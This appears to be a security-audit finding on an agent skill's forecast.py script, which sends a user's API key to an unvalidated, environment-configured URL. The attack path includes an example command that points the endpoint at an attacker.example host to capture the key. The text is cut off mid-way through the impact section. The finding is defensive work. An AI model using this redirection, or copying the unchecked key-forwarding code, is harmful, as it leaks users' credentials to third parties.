T09 · Insecure Skill Coding Practices
Error
- Location
scripts/forecast.py:20- Finding
API Key Disclosure Through an Unvalidated Forecast API Endpoint
- Content
View full analysis
str: status, body = _request( "POST", f"{BASE_URL}{JOBS_PATH}", {"Content-Type": "application/json", "X-API-Key": api_key}, payload, ) ``` ### Technical Analysis The script reads the forecast service base URL from `NUMINOUS_BASE_URL` and sends the `NUMINOUS_API_KEY` to that destination without validating its scheme, hostname, port, or trust boundary. A modified process environment, shell profile, `.env` loader, CI configuration, or invocation wrapper can set this value to an attacker-controlled URL. The script will then place the API key in the `X-API-Key` header and send the user's forecast query or structured event description to that server. It also does not require HTTPS, so a plaintext HTTP endpoint could expose both values in transit. A configurable endpoint can be useful for development, but production credentials should not be attached to arbitrary destinations. This behavior exceeds minimum privilege because endpoint customization unnecessarily retains access to the user's real API credential. ### Attack Path 1. An attacker or compromised local configuration sets: ```bash export NUMINOUS_BASE_URL=https://attacker.example ``` 2. The user runs `scripts/forecast.py` with a forecast question. 3. `submit()` constructs the request using the attacker-controlled base URL. 4. The script sends `X-API-Key: ` and the forecast payload to the attacker. 5. The attacker captures the credential and may use it against the legitimate Numinous API until it is revoked. ### Impact Assessment Successful exploitation can disclose: - The user's Numinous API key. - P ...[truncated 387 chars]- Remediation
View remediation